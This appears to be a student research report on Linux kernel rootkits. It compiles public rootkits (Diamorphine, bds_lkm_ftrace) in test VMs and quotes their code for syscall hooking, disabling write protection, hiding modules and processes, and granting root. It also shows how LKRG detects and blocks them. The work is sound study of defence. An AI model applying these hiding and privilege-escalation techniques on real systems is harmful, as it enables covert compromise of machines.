Development and detection of rootkits for modern Linux systems

Environment Setup

To begin the rootkit research, I set up a testing environment using Vagrant:

1. Initialized a Debian Bookworm 64-bit box: vagrant init debian/bookworm64
2. Modified the Vagrantfile to allocate 4GB of memory
3. Started and accessed the VM: vagrant up and vagrant ssh
4. Updated the system
5. Installed basic tools: git, build-essential, chkrootkit, rkhunter
6. Installed corresponding Linux headers

Vagrant is a tool for creating and managing virtual machine environments, enabling easy creation and configuration of reproducible development environments.

Initial Research

• Explored the awesome-linux-rootkits repository
• Noted that very few rootkits are available for Linux 6
• Started studying Linux Rootkits 01 for basic knowledge

Compilation and Testing of Existing Rootkits

After initial research, I decided to compile rootkits that either had no specified version or were designed for Linux version 5. Here are the results:

1. boopkit: Required installation of many libraries, but compilation was successful.
2. Diamorphine: Compilation went perfectly.
3. keysniffer: Compilation was successful.

Other rootkits in the list proved to be too old for our system (Linux 6) or failed to compile:

• Kernel_Rootkit
• KernelRootkit
• kopycat
• KoviD
• liinux
• lkm-rootkit
• Out-of-Sight-Out-of-Mind-Rootkit
• rooty
• subversive
• the_colonel
• TripleCross
• Umbra
• rooty

These results provide a good foundation for further research and testing of rootkits on modern Linux versions. It shows that most available rootkits are not compatible with the latest versions of the Linux kernel, highlighting the need to update these tools for modern systems.

BDS LKM Ftrace Rootkit Analysis

During further research, I discovered the bluedragonsecurity/bds_lkm_ftrace rootkit, which wasn’t listed in the awesome-linux-rootkits repository. This rootkit proved to be compatible with both Linux 5.x and 6.x kernels, unlike Diamorphine which failed on Linux 6.x.

Key Differences in Hooking Mechanisms

The main reason for the compatibility difference lies in their hooking approaches:

1. Hooking Method

   • Diamorphine uses direct system call table modification, which is increasingly difficult on modern kernels due to enhanced security measures
   • BDS uses ftrace (Function Tracer), which is a more modern and supported method for kernel function interception

2. Implementation Details

   • BDS implements ftrace hooks through a structured approach:

   struct ftrace_hook {
       const char *name;
       void *function;
       void *original;
       unsigned long address;
       struct ftrace_ops ops;
   };

   • This structure allows for clean function interception without directly modifying the system call table
   • The ftrace mechanism is officially supported and maintained across kernel versions

3. Memory Protection Handling

   • Diamorphine needs to disable CR0 write protection on x86 systems:

   write_cr0_forced(cr0 & ~0x00010000);

   • BDS avoids this by using ftrace’s built-in function modification capabilities, which handle memory protection properly

4. Kernel Version Adaptation

   • BDS includes specific handling for kernel version differences:

   #if (LINUX_VERSION_CODE < KERNEL_VERSION(5,11,0))
   static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip,
       struct ftrace_ops *ops, struct pt_regs *regs)
   #else
   static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip,
       struct ftrace_ops *ops, struct ftrace_regs *regs)
   #endif

   • This version-aware code ensures compatibility across different kernel versions

5. Symbol Resolution

   • Both rootkits handle symbol resolution for kernel versions 5.7+, but BDS’s implementation through ftrace is more reliable:

   #ifdef KPROBE_LOOKUP
   unsigned long(*kallsyms_lookup_name)(const char *name);
   register_kprobe(&kp);
   kallsyms_lookup_name = (unsigned long (*)(const char *)) kp.addr;
   unregister_kprobe(&kp);
   #endif

The key reason why BDS works on Linux 6.x while Diamorphine fails is that direct system call table modification (used by Diamorphine) has become increasingly restricted and unstable across kernel versions. The ftrace mechanism used by BDS is part of the kernel’s official tracing infrastructure, making it more resilient to kernel changes and security hardening.

Additionally, BDS’s implementation includes better error handling and cleanup procedures, making it more stable across different kernel versions. The use of ftrace also means the rootkit can survive kernel security updates that might otherwise break traditional system call table modification techniques.

This analysis shows that modern rootkit development is moving away from direct table modification towards using officially supported kernel interfaces like ftrace, even though these interfaces were originally designed for debugging and tracing purposes.

Detailed Analysis of Diamorphine Rootkit

After successful compilation, I performed a detailed analysis of the Diamorphine rootkit. Here are the main findings:

1. Key Injection and Hiding Techniques

a) System Call Hooking

The rootkit uses two main methods to locate the system call table:

unsigned long *get_syscall_table_bf(void) {
    syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
    // Fallback to brute force if lookup fails
}

After finding the table, it performs hooking of critical system calls:

__sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;
__sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64;

Implements sophisticated architecture-specific memory protection bypassing:

#if IS_ENABLED(CONFIG_X86)
    write_cr0(cr0 & ~0x00010000);  // Disable write protection
#elif IS_ENABLED(CONFIG_ARM64)
    update_mapping_prot(__pa_symbol(start_rodata),...);
#endif

b) Process Hiding

The implementation uses a custom PF_INVISIBLE flag in the task_struct structure. Key code for process filtering:

if (is_invisible(simple_strtoul(dir->d_name, NULL, 10))) {
    prev->d_reclen += dir->d_reclen;  // Skip this entry
}

This code effectively “skips” entries in directory listings, hiding processes from tools like ps, top, and ls.

c) Module Hiding

The module hiding implementation is elegant and efficient:

void module_hide(void) {
    module_previous = THIS_MODULE->list.prev;
    list_del(&THIS_MODULE->list);
    module_hidden = 1;
}

This code:

• Stores the previous pointer for later restoration
• Removes the module from the kernel’s module list
• Sets the hidden flag

2. Unique Features

a) Multi-architecture Support

The rootkit implements sophisticated handling of architecture differences:

#if IS_ENABLED(CONFIG_X86)
    int fd = (int) pt_regs->di;
#elif IS_ENABLED(CONFIG_ARM64)
    int fd = (int) pt_regs->regs[0];
#endif

b) Compatibility with Different Kernel Versions

Implements versioning using preprocessor for different kernel APIs:

#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
    current->uid = current->gid = 0;
#else
    struct cred *newcreds = prepare_creds();
#endif

c) Control Interface

Implements sophisticated signal handling:

case SIGINVIS:     // Toggle process visibility
    task->flags ^= PF_INVISIBLE;
case SIGSUPER:     // Grant root
    give_root();
case SIGMODINVIS:  // Toggle module visibility
    if (module_hidden) module_show();

Each signal triggers specific functionality:

• SIGINVIS (0x1B): Toggles process visibility using XOR operation with PF_INVISIBLE
• SIGSUPER (0x1C): Triggers give_root() function for privilege escalation
• SIGMODINVIS (0x1D): Toggles visibility of the rootkit module itself

3. Persistence Mechanisms

a) Memory Management and Protection

• Implements temporary memory protection disable for critical operations
• Uses architecture-specific methods for memory protection manipulation
• Restores protection immediately after changes
• Implements clean resource release upon removal

b) Footprint Minimization

• Does not modify any files on disk
• Uses only memory modifications
• Implements clean removal from module list
• Minimizes number of hooked system calls

c) Detection Protection

• Implements custom masking in /proc and /sys
• Hides from tools like lsmod
• Uses atomic operations for thread-safety
• Implements custom log cleaning

4. Detection Challenges

• No permanent changes in the file system
• Dynamic runtime modifications
• Clean implementation of module hiding
• Minimal system call footprint
• No network activity

This analysis shows that Diamorphine is a sophisticated rootkit with good implementation of basic hiding and persistence techniques. Its main advantage is broad compatibility and clean implementation, making it difficult to detect with common tools.

5. Kernel Version Compatibility Testing

To thoroughly test kernel version compatibility, I set up multiple test environments using Vagrant with both Debian 11 (bullseye) and Debian 12 (bookworm) VMs.

Debian 11 (Bullseye - Linux 5.10.0-33-amd64)

The rootkit demonstrated full functionality on this version:

• Process hiding worked correctly using signal 31
• All system call hooks functioned as expected
• No error messages or system instability observed

Example of successful process hiding:

vagrant@bullseye:/vagrant/Diamorphine$ ps -aux | grep sleep
vagrant     1465  0.0  0.0   4284   500 pts/0    S    05:09   0:00 sleep 123123
vagrant     1470  0.0  0.0   5264   708 pts/0    S+   05:10   0:00 grep sleep
vagrant@bullseye:/vagrant/Diamorphine$ kill -31 1465
vagrant@bullseye:/vagrant/Diamorphine$ ps -aux | grep sleep
vagrant     1472  0.0  0.0   5264   704 pts/0    S+   05:10   0:00 grep sleep
vagrant@bullseye:/vagrant/Diamorphine$

Debian 12 (Bookworm - Linux 6.1.0-15-amd64)

Testing revealed compatibility issues:

• System call hooking failed to work properly
• Kill command resulted in “Bad system call” errors
• Alternative rootkit bluedragonsecurity/bds_lkm_ftrace showed better compatibility with this kernel version

These findings highlight the challenges of maintaining rootkit compatibility across different kernel versions, particularly with newer releases. The issues with Debian 12 suggest that significant updates would be needed to maintain functionality on modern kernel versions.

Detection mechanisms

I’ve tested chkrootkit and rkhunter tools. They try to detect signs of malware by primarly utilizing the following methods:

• Scanning standard binary files & utilities to check for potentially malicious modifications
• Detecting known rootkit files by comparing signatures

Unfortunately, these tools couldn’t detect Diamorphine nor bds_lkm_ftrace rootkit in the system, which creates a potential task to solve in the next semester.

LKRG project

Upon further research, I stumbled upon LKRG project. After downloading the source code and installing it in a Debian 12 system infected with bds_lkm_ftrace rootkit, the rootkit use attempts result in a failure, logged in dmesg log:

vagrant@bookworm:~/lkrg-0.9.9$ sudo dmesg
[  873.810529] LKRG: ALIVE: Loading LKRG
[  873.814390] Freezing user space processes
[  873.815558] Freezing user space processes completed (elapsed 0.001 seconds)
[  873.815625] OOM killer disabled.
[  873.907183] LKRG: ISSUE: [kretprobe] register_kretprobe() for <ovl_dentry_is_whiteout> failed! [err=-2]
[  873.907211] LKRG: ISSUE: Can't hook 'ovl_dentry_is_whiteout'. This is expected when OverlayFS is not used.
[  873.995328] LKRG: ALIVE: LKRG initialized successfully
[  874.032857] OOM killer enabled.
[  874.032897] Restarting tasks ... done.
[  925.479316] LKRG: ALERT: DETECT: Task: cred pointer corruption for pid 33247, name bash
[  925.479350] LKRG: ALERT: DETECT: Task: real_cred pointer corruption for pid 33247, name bash
[  925.479363] LKRG: ALERT: DETECT: Task: uid corruption (expected 1000 vs. actual 0) for pid 33247, name bash
[  925.479383] LKRG: ALERT: DETECT: Task: euid corruption (expected 1000 vs. actual 0) for pid 33247, name bash
[  925.479397] LKRG: ALERT: DETECT: Task: gid corruption (expected 1000 vs. actual 0) for pid 33247, name bash
[  925.479414] LKRG: ALERT: DETECT: Task: egid corruption (expected 1000 vs. actual 0) for pid 33247, name bash
[  925.479434] LKRG: ALERT: DETECT: Task: uid corruption (expected 1000 vs. actual 0) for pid 33247, name bash
[  925.479455] LKRG: ALERT: DETECT: Task: euid corruption (expected 1000 vs. actual 0) for pid 33247, name bash
[  925.479475] LKRG: ALERT: DETECT: Task: gid corruption (expected 1000 vs. actual 0) for pid 33247, name bash
[  925.479496] LKRG: ALERT: DETECT: Task: egid corruption (expected 1000 vs. actual 0) for pid 33247, name bash
[  925.479515] LKRG: ALERT: BLOCK: Task: Killing pid 33247, name bash

The above log is generated after an attempt to run kill 0 command handled by rootkit for privilege escalation. The attempt to establish a reverse shell connection also results in a failure:

[ 1292.280901] LKRG: ALERT: BLOCK: UMH: Executing program name /opt/bds_elf/bds_rr

How LKRG works

The Linux Kernel Runtime Guard (LKRG) is a proactive security solution that continuously monitors the runtime integrity of a Linux kernel. Unlike traditional static defenses, LKRG actively tracks and validates the state of security‐critical components within the kernel to catch exploitation attempts in real time.

Core Functionality and Architecture

1. Continuous Integrity Monitoring
   LKRG creates a “shadow copy” of each monitored process’s security-sensitive state when the process is first tracked. This snapshot includes:

   • Credentials: Both the cred and real_cred structures are recorded—covering user IDs, group IDs, and capabilities—along with their pointer addresses.
   • Namespaces and Metadata: Pointers to namespace structures and other immutable process metadata are stored for consistency checks.

   This initial dump is performed using functions such as:

   notrace void p_dump_creds(struct p_cred *p_where, const struct cred *p_from) {
       memcpy(&p_where->cap_inheritable, &p_from->cap_inheritable, sizeof(kernel_cap_t));
       memcpy(&p_where->cap_permitted,   &p_from->cap_permitted,   sizeof(kernel_cap_t));
       memcpy(&p_where->cap_effective,   &p_from->cap_effective,   sizeof(kernel_cap_t));
       p_set_uid(&p_where->uid,   p_get_uid(&p_from->uid));
       p_set_gid(&p_where->gid,   p_get_gid(&p_from->gid));
       // ... (other fields are similarly recorded)
   }

   This snapshot serves as the baseline for future comparisons.

Source: LKRG source code and analysis from p_exploit_detection.c

2. Real-Time validation and anomaly detection
   LKRG installs hooks in key kernel functions (e.g., those handling credential changes or process scheduling) to intercept events that could signal an exploit. It then compares the current state of a process to the stored snapshot. Any deviation—especially in fields that should remain constant—is considered suspicious and may trigger an alert or termination of the process.

3. Credential Pointer Validation
   A distinctive feature of LKRG is its focus on validating not just the credential values, but also the pointers to the credential structures:

   • Normal Behavior: In legitimate operations (such as executing a setuid binary), both the cred and real_cred pointers are updated in a controlled manner.

   • Malicious Tampering: An attacker might try to swap the real_cred pointer with one that points to a credentials structure granting elevated privileges. LKRG checks for such discrepancies:

     if (p_orig->p_ed_task.p_real_cred_ptr != p_current_real_cred) {
         P_CMP_PTR(p_orig->p_ed_task.p_real_cred_ptr, p_current_real_cred, "real_cred")
     }

     Here, the macro P_CMP_PTR logs an alert if the stored pointer does not match the current pointer. This pointer swap is abnormal and indicative of an exploit, triggering protective measures immediately.

4. Function hook and Code integrity checks
   Beyond credentials, LKRG monitors kernel code integrity by:

   • Detecting Unauthorized Hooks: It verifies that no new hooks (e.g., via ftrace) have been installed to intercept kernel functions.
   • Validating Call Stack and Memory Regions: LKRG’s “poor man’s CFI” mechanism ensures that return addresses and stack pointers are within expected ranges, detecting suspicious modifications that indicate ROP or other control-flow attacks.

5. Additional safeguards
   LKRG also checks:

   • Usermode Helper Integrity: It prevents exploitation via the usermode helper interface, which attackers might abuse to launch unauthorized processes.
   • Module List Consistency: It monitors the kernel’s module list so that any attempt by a rootkit to hide itself (by unlinking from the list) is detected.

This multi-layered approach not only helps in detecting privilege escalation (e.g., via credential pointer swapping) but also prevents common rootkit behaviors such as unauthorized function hooking and module hiding. By enforcing strict runtime integrity, LKRG plays a vital role in modern rootkit detection and overall kernel security.